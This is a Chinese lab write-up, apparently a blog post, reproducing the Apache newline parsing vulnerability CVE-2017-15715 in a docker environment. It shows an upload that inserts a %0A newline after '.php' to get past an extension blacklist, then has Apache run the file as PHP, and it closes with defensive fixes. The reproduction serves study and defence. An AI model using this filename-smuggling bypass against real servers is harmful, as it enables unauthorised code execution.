Apache换行解析漏洞复现(CVE-2017-15715)

漏洞原理

CVE-2017-15715 即为换行解析漏洞,此漏洞存在于Apache 2.4.0 - 2.4.29版本中;

在解析PHP时,服务器会将shell.php%0a后缀之后带有空格的文件按照php后缀解析,从而可以绕过服务器的安全策略

漏洞复现

进入 CVE-2017-15715 靶场目录
[root@localhost CVE-2017-15715]# docker-compose up -d   #  启动容器
[root@localhost CVE-2017-15715]# docker ps -a   # 启动成功
CONTAINER ID        IMAGE                   COMMAND                  CREATED              STATUS                        PORTS                  NAMES
b4104beecaba        cve-2017-15715_apache   "apache2-foreground"     About a minute ago   Up About a minute             0.0.0.0:8080->80/tcp   cve-2017-15715_apache_1
498e656acd6b        php:apache              "docker-php-entryp..."   26 minutes ago       Exited (137) 20 minutes ago                          apache_parsing_vulnerability_apache_1
# 如下图,环境搭建成功
http://10.10.10.133:8080/ 

 

本地上传一个php的内置函数的文件,内容如下
<?php phpinfo(); ?>

 如下图,在php后面插入一个换行符0a;此时文件名变成了‘eval.php ’
php后缀之后有空格,之后将包发过去

 http://10.10.10.133:8080/eval.php%0A  # 在浏览器中访问看是否成功执行php文件

漏洞分析


#    容器内php配置文件
root@b4104beecaba:/var/www/html# cat /etc/apache2/conf-available/docker-php.conf 
<FilesMatch \.php$>
	SetHandler application/x-httpd-php
</FilesMatch>

DirectoryIndex disabled
DirectoryIndex index.php index.html

<Directory /var/www/>
	Options -Indexes
	AllowOverride All
</Directory>
在设置了 正则表达式 对象的 Multiline 属性的条件下,`$`还会匹配到字符串结尾的换行符。所以如果在上传时,添加一个换行符也能被正常解析,并且能够绕过系统的黑名单检测。 
root@b4104beecaba:/var/www/html# cat index.php 
<?php
if(isset($_FILES['file'])) {
    $name = basename($_POST['name']);
    $ext = pathinfo($name,PATHINFO_EXTENSION);
    if(in_array($ext, ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'])) {    
        exit('bad file');
    }
    move_uploaded_file($_FILES['file']['tmp_name'], './' . $name);
} else {

?>

# 分析
 if(in_array($ext, ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'])) {    #
        exit('bad file');
    }
    
   其在前端又限制了上传文件的格式'php', 'php3', 'php4', 'php5', 'phtml', 'pht';
   同时利用正则表达式$的特性 <FilesMatch \.php$> 他会匹配换行符将其成功执行

漏洞防御手段

  1. 对中间件进行升级

  2. 对上传文件重命名

  3. 上传时采用白名单的验证方式

  • 0
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值